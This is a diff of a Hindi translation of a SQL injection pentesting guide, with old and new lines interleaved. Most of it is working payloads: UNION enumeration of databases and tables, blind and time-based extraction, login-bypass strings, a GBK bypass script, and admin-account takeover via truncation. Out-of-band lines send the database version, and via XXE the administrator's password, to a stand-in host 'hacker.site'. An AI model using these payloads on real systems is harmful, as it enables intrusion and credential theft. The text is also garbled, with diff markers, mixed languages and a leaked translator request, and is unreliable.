इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
|
||||
इसी प्रकार, **गणितीय ऑपरेशन** का उपयोग भी पुष्टि के लिए प्रभावी तकनीक है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` एक्सेस करने पर समान परिणाम मिलते हैं, तो यह SQL injection का संकेत है।
|
||||
|
||||
Logical operation confirmation को प्रदर्शित करने वाले उदाहरण:
|
||||
तार्किक ऑपरेशन द्वारा पुष्टि के उदाहरण:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
यह शब्द-सूची को प्रस्तावित तरीके से **SQLinjections** की पुष्टि करने के लिए बनाया गया था:
|
||||
यह शब्द-सूची प्रस्तावित तरीके से **SQLinjections की पुष्टि करने** के लिए बनाई गई थी:
|
||||
|
||||
<details>
|
||||
<summary>सच्चा SQLi</summary>
|
||||
<summary>वास्तविक SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### समय के साथ पुष्टि करना
|
||||
### समय के आधार पर पुष्टि
|
||||
|
||||
कुछ मामलों में आप **कोई परिवर्तन नहीं देखेंगे** उस पृष्ठ पर जिसे आप परीक्षण कर रहे हैं। इसलिए, **ब्लाइंड SQL इंजेक्शन** का पता लगाने का एक अच्छा तरीका है DB को क्रियाएँ करने के लिए मजबूर करना और इसका **प्रभाव पड़ेगा समय** पर जो पृष्ठ को लोड करने में लगेगा।\
|
||||
इसलिए, हम SQL क्वेरी में एक ऐसा ऑपरेशन जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:
|
||||
कुछ मामलों में आप जिस पेज का परीक्षण कर रहे हैं उस पर आप **कोई भी परिवर्तन नोटिस नहीं करेंगे**। इसलिए, एक अच्छा तरीका **discover blind SQL injections** है कि DB को ऐसे कार्य करवाएँ जो पेज के लोड होने के समय पर **प्रभाव डालें**.\
|
||||
इसलिए, हम SQL क्वेरी में concat करेंगे ऐसा ऑपरेशन जो पूरा होने में काफी समय लेगा:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
कुछ मामलों में **sleep functions की अनुमति नहीं होगी**। फिर, उन फ़ंक्शनों का उपयोग करने के बजाय, आप क्वेरी को **जटिल ऑपरेशंस** करने के लिए बना सकते हैं जो कई सेकंड लेगी। _इन तकनीकों के उदाहरणों को प्रत्येक तकनीक पर अलग से टिप्पणी की जाएगी (यदि कोई हो)_।
|
||||
कुछ मामलों में **sleep functions की अनुमति नहीं होगी**। ऐसे में उन functions का उपयोग करने के बजाय आप query को ऐसे **perform complex operations** करवा सकते हैं जो कुछ सेकंड ले लें। _इन तकनीकों के उदाहरण प्रत्येक टेक्नोलॉजी पर अलग से बताए जाएंगे (यदि कोई हों)_.
|
||||
|
||||
### बैक-एंड की पहचान करना
|
||||
### बैक-एंड की पहचान
|
||||
|
||||
बैक-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न बैक-एंड के फ़ंक्शंस को निष्पादित करने की कोशिश करना है। आप पिछले अनुभाग के _**sleep**_ **functions** या इनका उपयोग कर सकते हैं (तालिका [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
बैक-एंड की पहचान करने का सबसे अच्छा तरीका है विभिन्न बैक-एंड्स के functions को execute करके देखना। आप पिछले सेक्शन के _**sleep**_ **functions** का उपयोग कर सकते हैं या ये ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +211,29 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Also, यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट करने** के लिए बना सकते हैं।
|
||||
Also, if you have access to the output of the query, you could make it **डेटाबेस का संस्करण प्रिंट करवा सकते हैं**।
|
||||
|
||||
> [!TIP]
|
||||
> एक निरंतरता में हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
|
||||
> आगे हम विभिन्न प्रकार के SQL Injection को exploit करने के अलग-अलग तरीकों पर चर्चा करेंगे। हम उदाहरण के तौर पर MySQL का उपयोग करेंगे।
|
||||
|
||||
### PortSwigger के साथ पहचानना
|
||||
### PortSwigger के साथ पहचान
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## यूनियन आधारित शोषण
|
||||
## Exploiting Union Based
|
||||
|
||||
### कॉलम की संख्या का पता लगाना
|
||||
|
||||
यदि आप क्वेरी के आउटपुट को देख सकते हैं तो यह इसे शोषण करने का सबसे अच्छा तरीका है।\
|
||||
सबसे पहले, हमें यह पता लगाना है कि **प्रारंभिक अनुरोध** कितने **कॉलम** वापस कर रहा है। इसका कारण यह है कि **दोनों क्वेरियों को समान संख्या में कॉलम वापस करना चाहिए**।\
|
||||
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:
|
||||
अगर आप query का आउटपुट देख सकते हैं तो यह इसे exploit करने का सबसे अच्छा तरीका है।\
|
||||
सबसे पहले, हमें यह पता लगाना होगा कि **प्रारंभिक request** कितने **columns** वापस कर रही है। यह इसलिए है क्योंकि **दोनों queries को एक ही संख्या के columns return करने चाहिए**।\
|
||||
इसके लिए सामान्यतः दो तरीके उपयोग किए जाते हैं:
|
||||
|
||||
#### ऑर्डर/ग्रुप द्वारा
|
||||
#### Order/Group by
|
||||
|
||||
क्वेरी में कॉलम की संख्या निर्धारित करने के लिए, **ORDER BY** या **GROUP BY** क्लॉज़ में उपयोग की जाने वाली संख्या को क्रमिक रूप से समायोजित करें जब तक कि एक गलत प्रतिक्रिया प्राप्त न हो। SQL में **GROUP BY** और **ORDER BY** की अलग-अलग कार्यक्षमताओं के बावजूद, दोनों का उपयोग क्वेरी के कॉलम की संख्या का पता लगाने के लिए समान रूप से किया जा सकता है।
|
||||
किसी query में कॉलम की संख्या निर्धारित करने के लिए, **ORDER BY** या **GROUP BY** क्लॉज़ में उपयोग किए जाने वाले नंबर को क्रमिक रूप से समायोजित करें जब तक कि false प्रतिक्रिया न प्राप्त हो। हालांकि SQL में **GROUP BY** और **ORDER BY** की कार्यप्रणालियाँ अलग हैं, दोनों का उपयोग query के कॉलम की संख्या निर्धारित करने के लिए समान रूप से किया जा सकता है।
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,15 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
जांच करें कि क्वेरी सही है जब तक अधिक से अधिक नल मान नहीं चुने जाते:
|
||||
क्वेरी सही होने तक अधिक से अधिक null मान चुनते रहें:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_आपको `null` मानों का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों पक्षों के कॉलम का प्रकार समान होना चाहिए और null हर मामले में मान्य है।_
|
||||
_आपको `null` मानों का उपयोग करना चाहिए क्योंकि कुछ मामलों में query के दोनों पक्षों के columns का type समान होना चाहिए और null हर स्थिति में मान्य है।_
|
||||
|
||||
### डेटाबेस नाम, तालिका नाम और कॉलम नाम निकालें
|
||||
|
||||
अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस की तालिका का नाम, तालिका के कॉलम नाम निकालने जा रहे हैं:
|
||||
### अगले उदाहरणों में हम सभी databases के नाम, किसी database के table के नाम, और उस table के column names प्राप्त करने जा रहे हैं:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +270,67 @@ _आपको `null` मानों का उपयोग करना चा
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_हर अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा वही पद्धति होती है।_
|
||||
_हर अलग डेटाबेस पर यह डेटा खोजने का तरीका अलग हो सकता है, पर यह पद्धति हमेशा समान रहती है._
|
||||
|
||||
## छिपे हुए यूनियन आधारित का शोषण
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
जब एक क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन-आधारित इंजेक्शन असंभव लगता है, तो यह **छिपे हुए यूनियन-आधारित इंजेक्शन** की उपस्थिति का संकेत देता है। यह परिदृश्य अक्सर एक ब्लाइंड इंजेक्शन स्थिति की ओर ले जाता है। एक ब्लाइंड इंजेक्शन को यूनियन-आधारित में बदलने के लिए, बैकएंड पर निष्पादित क्वेरी को पहचानना आवश्यक है।
|
||||
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
|
||||
|
||||
यह आपके लक्षित डेटाबेस प्रबंधन प्रणाली (DBMS) के लिए विशिष्ट डिफ़ॉल्ट तालिकाओं के साथ ब्लाइंड इंजेक्शन तकनीकों का उपयोग करके किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS की दस्तावेज़ीकरण की सलाह दी जाती है।
|
||||
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
|
||||
|
||||
एक बार जब क्वेरी निकाली जाती है, तो आपके पेलोड को मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अनुकूलित करना आवश्यक है। इसके बाद, आपके पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जो नए सुलभ यूनियन-आधारित इंजेक्शन के शोषण की सुविधा प्रदान करती है।
|
||||
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
|
||||
|
||||
अधिक व्यापक अंतर्दृष्टि के लिए, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) पर उपलब्ध पूर्ण लेख को देखें।
|
||||
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## त्रुटि आधारित का शोषण
|
||||
## Exploiting Error based
|
||||
|
||||
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा **निकालने** का प्रयास कर सकते हैं।\
|
||||
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।
|
||||
यदि किसी कारण से आप **cannot** see the **output** of the **query** पर नहीं पहुँच पा रहे हैं, लेकिन आप **see the error messages** कर सकते हैं, तो आप इन error messages के माध्यम से database से data को **ex-filtrate** करवा सकते हैं.\
|
||||
Union Based exploitation जैसा ही flow अपनाकर आप dump the DB कर सकते हैं।
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Blind SQLi का शोषण
|
||||
|
||||
इस मामले में आप क्वेरी के परिणाम या त्रुटियाँ नहीं देख सकते, लेकिन आप **भेद** कर सकते हैं जब क्वेरी **सत्य** या **असत्य** प्रतिक्रिया देती है क्योंकि पृष्ठ पर विभिन्न सामग्री होती है।\
|
||||
इस मामले में, आप उस व्यवहार का दुरुपयोग करके डेटाबेस को अक्षर दर अक्षर डंप कर सकते हैं:
|
||||
इस मामले में आप query के परिणाम या त्रुटियाँ नहीं देख सकते, लेकिन आप यह पहचान सकते हैं कि query ने **true** या **false** प्रतिक्रिया दी क्योंकि पेज पर सामग्री अलग होती है.\
|
||||
इस स्थिति में, आप इस व्यवहार का दुरुपयोग करके database को char by char dump कर सकते हैं:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
## Error Blind SQLi का शोषण
|
||||
|
||||
यह **पहले के मामले की तरह ही है** लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप **भेद कर सकते हैं** कि SQL क्वेरी में **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
|
||||
यह **पहले जैसा ही मामला** है, लेकिन क्वेरी से मिलने वाली true/false प्रतिक्रिया के बीच अंतर बताने के बजाय आप यह **पता लगा सकते हैं** कि SQL क्वेरी में एक **error** है या नहीं (शायद HTTP सर्वर क्रैश होने के कारण)। इसलिए, इस मामले में आप हर बार जब आप char का सही अनुमान लगाते हैं तब एक SQLerror उत्पन्न कर सकते हैं:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiting Time Based SQLi
|
||||
## Time Based SQLi का शोषण
|
||||
|
||||
इस मामले में **कोई** तरीका **नहीं** है **जिससे** आप पृष्ठ के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचान** सकें। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित अक्षर सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](#confirming-with-timing) देखा है।
|
||||
इस मामले में पेज के संदर्भ के आधार पर query की **प्रतिक्रिया** को **अलग करने** का कोई तरीका **मौजूद नहीं है**। लेकिन, यदि अनुमानित अक्षर सही है तो आप पेज को **लोड होने में अधिक समय लेने** पर मजबूर कर सकते हैं। हमने पहले इस तकनीक को [confirm a SQLi vuln](#confirming-with-timing) के लिए इस्तेमाल होते देखा था।
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड कमजोरियों** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
|
||||
आप stacked queries का उपयोग करके **एक के बाद एक कई क्वेरीज निष्पादित** कर सकते हैं। ध्यान दें कि हालांकि बाद की क्वेरीज निष्पादित हो जाती हैं, उनके **परिणाम** एप्लिकेशन को **वापस नहीं दिए जाते**। इसलिए यह तकनीक मुख्यतः **blind vulnerabilities** के मामलों में उपयोगी है, जहाँ आप दूसरी क्वेरी का उपयोग करके एक DNS lookup, conditional error, या time delay ट्रिगर कर सकते हैं।
|
||||
|
||||
**Oracle** **स्टैक्ड क्वेरीज़** का समर्थन नहीं करता। **MySQL, Microsoft** और **PostgreSQL** उनका समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** **stacked queries** को सपोर्ट नहीं करता। **MySQL, Microsoft** और **PostgreSQL** इन्हें सपोर्ट करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
यदि **कोई अन्य** शोषण विधि **काम नहीं करती**, तो आप **डेटाबेस को** जानकारी को आपके द्वारा नियंत्रित **बाहरी होस्ट** पर एक्स-फिल्ट्रेट करने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज़ के माध्यम से:
|
||||
यदि **कोई अन्य** exploitation method **काम नहीं कर रही हो**, तो आप कोशिश कर सकते हैं कि **database ex-filtrate** करके जानकारी आपके नियंत्रित किसी **external host** पर भेज दी जाए। उदाहरण के लिए, DNS queries के माध्यम से:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Out of band डेटा एक्सफिल्ट्रेशन XXE के माध्यम से
|
||||
### Out of band data exfiltration via XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Automated Exploitation
|
||||
|
||||
Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
[SQLMap Cheatsheet](sqlmap/index.html) देखें ताकि SQLi कमजोरी को [**sqlmap**](https://github.com/sqlmapproject/sqlmap) के साथ exploit किया जा सके।
|
||||
|
||||
## Tech specific info
|
||||
## टेक्नोलॉजी-विशिष्ट जानकारी
|
||||
|
||||
हमने SQL Injection vulnerability को exploit करने के सभी तरीकों पर चर्चा की है। इस पुस्तक में कुछ और तकनीकें जो डेटाबेस प्रौद्योगिकी पर निर्भर हैं, खोजें:
|
||||
हम पहले ही SQL Injection कमजोरियों को exploit करने के सभी तरीकों पर चर्चा कर चुके हैं। इस किताब में डेटाबेस टेक्नोलॉजी-निर्भर और भी कुछ ट्रिक्स देखें:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,11 +338,11 @@ Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
या आप **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी तकनीकें** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में पाएंगे।
|
||||
या आपको **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी ट्रिक्स** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में मिलेंगी
|
||||
|
||||
## Authentication bypass
|
||||
|
||||
List to try to bypass the login functionality:
|
||||
लॉगिन फ़ंक्शनलिटी को bypass करने के लिए आजमाने के लिए सूची:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -355,7 +353,7 @@ List to try to bypass the login functionality:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस प्रकार से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
|
||||
यह query उस vulnerability को दर्शाती है जब MD5 को authentication checks में raw output के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। Attackers इसे exploit कर सकते हैं, ऐसे crafted inputs बनाकर जो hashed होने पर अनपेक्षित SQL command parts उत्पन्न करते हैं और unauthorized access का कारण बनते हैं।
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -364,24 +362,24 @@ sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**सिफारिश की गई सूची**:
|
||||
**अनुशंसित सूची**:
|
||||
|
||||
आपको सूची की प्रत्येक पंक्ति को उपयोगकर्ता नाम के रूप में और हमेशा पासवर्ड के रूप में उपयोग करना चाहिए: _**Pass1234.**_\
|
||||
_(ये पेलोड भी इस अनुभाग की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)_
|
||||
आपको सूची की हर पंक्ति को उपयोगकर्ता नाम के रूप में उपयोग करना चाहिए और पासवर्ड हमेशा रखें: _**Pass1234.**_\
|
||||
_(यह payloads भी इस सेक्शन की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK प्रमाणीकरण बायपास
|
||||
### GBK Authentication Bypass
|
||||
|
||||
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' स्केप होता है तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
|
||||
यदि ' को escape किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' escape हो जाएगा तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python स्क्रिप्ट:
|
||||
कृपया वह Python स्क्रिप्ट यहाँ पेस्ट करें जिसे आप src/pentesting-web/sql-injection/README.md से हिंदी में अनुवादित करवाना चाहते हैं।
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -390,7 +388,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Polyglot injection (multicontext)
|
||||
### Polyglot injection (कई संदर्भ)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -398,68 +396,83 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modify password of existing object/user
|
||||
|
||||
इसके लिए आपको **"master object"** नाम का एक नया ऑब्जेक्ट बनाने की कोशिश करनी चाहिए (संभवतः **admin** उपयोगकर्ताओं के मामले में) कुछ संशोधित करते हुए:
|
||||
इसके लिए आपको कोशिश करनी चाहिए कि आप कुछ बदलकर **"master object" के नाम से एक नया object बनाएं** (users के मामले में संभवतः **admin**) :
|
||||
|
||||
- उपयोगकर्ता नाम बनाएं: **AdMIn** (बड़े और छोटे अक्षर)
|
||||
- एक उपयोगकर्ता नाम बनाएं: **admin=**
|
||||
- **SQL Truncation Attack** (जब उपयोगकर्ता नाम या ईमेल में कुछ प्रकार की **length limit** होती है) --> नाम के साथ उपयोगकर्ता बनाएं: **admin \[बहुत सारे स्पेस] a**
|
||||
- नया user बनाएं जिसका नाम: **AdMIn** (uppercase & lowercase letters)
|
||||
- एक user बनाएं जिसका नाम: **admin=**
|
||||
- **SQL Truncation Attack** (जब username या email में किसी तरह की **length limit** हो) --> नाम के साथ user बनाएं: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
यदि डेटाबेस कमजोर है और उपयोगकर्ता नाम के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप उपयोगकर्ता **admin** का अनुकरण करना चाहते हैं, तो एक उपयोगकर्ता नाम बनाने की कोशिश करें: "_admin \[30 स्पेस] a_" और कोई भी पासवर्ड।
|
||||
अगर database vulnerable है और username के लिए max number of chars उदाहरण के लिए 30 है और आप user **admin** का impersonate करना चाहते हैं, तो कोशिश करें कि एक username बनाएं: "_admin \[30 spaces] a_" और कोई भी password दें।
|
||||
|
||||
डेटाबेस **जांच करेगा** कि क्या प्रस्तुत **उपयोगकर्ता नाम** डेटाबेस के अंदर **मौजूद** है। यदि **नहीं**, तो यह **उपयोगकर्ता नाम** को **अधिकतम अनुमत अक्षरों की संख्या** (इस मामले में: "_admin \[25 स्पेस]_") तक **कट** करेगा और फिर यह **स्वचालित रूप से अंत में सभी स्पेस हटा देगा**, डेटाबेस के अंदर उपयोगकर्ता "**admin**" को **नए पासवर्ड** के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया)।
|
||||
database यह **check** करेगा कि दर्ज किया गया **username** database के अंदर **exists** करता है या नहीं। यदि **नहीं**, तो यह **username** को **max allowed number of characters** तक **cut** कर देगा (इस केस में: "_admin \[25 spaces]_") और फिर यह automatically अंत में सभी spaces **remove** कर देगा और database के अंदर user "**admin**" को **new password** के साथ update कर देगा (कुछ error आ सकती है पर इसका मतलब यह नहीं कि यह काम नहीं किया)।
|
||||
|
||||
अधिक जानकारी: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_नोट: यह हमला नवीनतम MySQL इंस्टॉलेशन में ऊपर वर्णित तरीके से काम नहीं करेगा। जबकि तुलना अभी भी डिफ़ॉल्ट रूप से ट्रेलिंग व्हाइटस्पेस की अनदेखी करती है, एक स्ट्रिंग डालने का प्रयास जो एक फ़ील्ड की लंबाई से अधिक है, एक त्रुटि का परिणाम देगा, और डालना विफल हो जाएगा। इस जांच के बारे में अधिक जानकारी के लिए:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
जितना आप समझते हैं, उतना `','',''` जोड़ें ताकि VALUES स्टेटमेंट से बाहर निकल सकें। यदि देरी होती है, तो आपके पास एक SQLInjection है।
|
||||
VALUES statement से बाहर निकलने के लिए जितने `','',''` की आवश्यकता हो उतने जोड़ें। अगर delay executed होता है, तो यह SQLInjection है।
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज़ का उपयोग तब किया जाता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दर्शाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
|
||||
